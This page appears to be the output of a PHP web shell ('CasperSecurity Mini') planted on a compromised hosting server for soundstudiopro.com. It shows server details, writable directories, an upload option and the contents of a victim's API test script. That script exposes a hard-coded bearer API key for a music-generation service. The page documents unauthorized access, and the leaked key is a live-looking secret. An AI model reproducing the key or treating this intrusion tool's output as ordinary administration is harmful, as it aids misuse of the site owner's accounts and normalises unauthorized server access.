T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/utils/test_task_status.php
<?php
// Test task status endpoint
$API_KEY = '63edba40620216c5aa2c04240ac41dbd';
$API_URL = 'https://api.api.box';

echo "<h1>🔍 Task Status Test</h1>";

// First create a task
$createData = [
    'prompt' => 'A beautiful piano melody',
    'model' => 'V3_5',
    'instrumental' => false,
    'customMode' => true,
    'callBackUrl' => 'https://soundstudiopro.com/callback.php'
];

echo "<h2>Step 1: Create Task</h2>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $API_URL . '/api/v1/generate');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($createData));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Authorization: Bearer ' . $API_KEY,
    'Content-Type: application/json'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $httpCode<br>";
$result = json_decode($response, true);
echo "Response: <pre>" . json_encode($result, JSON_PRETTY_PRINT) . "</pre>";

if (isset($result['data']['taskId'])) {
    $taskId = $result['data']['taskId'];
    echo "Task ID: <strong>$taskId</strong><br>";
    
    echo "<h2>Step 2: Test Task Status Endpoints</h2>";
    
    // Test different status endpoint variations
    $statusEndpoints = [
        "/api/v1/task/$taskId/details",
        "/api/v1/task/$taskId",
        "/api/v1/tasks/$taskId",
        "/task/$taskId",
        "/tasks/$taskId"
    ];
    
    foreach ($statusEndpoints as $endpoint) {
        echo "<h3>Testing: <code>$endpoint</code></h3>";
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $API_URL . $endpoint);
        curl_setopt($ch, CURLOPT_HTTPGET, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Authorization: Bearer ' . $API_KEY,
            'Content-Type: application/json'
        ]);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_HEADER, true);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        echo "HTTP Code: <strong>$httpCode</strong><br>";
        echo "Response: <pre>" . htmlspecialchars(substr($response, 0, 300)) . "</pre><br>";
        echo "<hr>";
    }
} else {
    echo "Failed to create task<br>";
}
?> 

CasperSecurity Mini